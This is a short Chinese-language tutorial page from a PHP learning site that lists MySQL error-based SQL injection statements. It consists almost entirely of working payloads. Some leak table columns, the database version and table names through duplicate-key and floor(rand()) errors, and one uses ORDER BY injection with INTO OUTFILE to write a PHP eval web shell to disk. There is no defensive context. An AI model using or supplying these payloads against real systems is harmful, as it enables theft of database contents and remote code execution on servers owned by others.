网站地图    收藏   

主页 > 后端 > 网站安全 >

关于mysql报错注入的几个语句 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 报错注入,报user表中的字段:select * from (select * from user a join user b) c;select * from (select * from user a join user b using (host,user)) c;报错注入select 1 from ......

报错注入,报user表中的字段:
select * from (select * from user a join user b) c;
select * from (select * from user a join user b using (host,user)) c;

报错注入
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a;
select 1 from (select count(*),concat((select table_name from information_schema.tables limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a;

order by注入导一句话
select '<?php eval($_POST[ln]);?>' from user order by if((select 'abc' into outfile '/tmp/2.php'),1,1) limit 1,1;

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论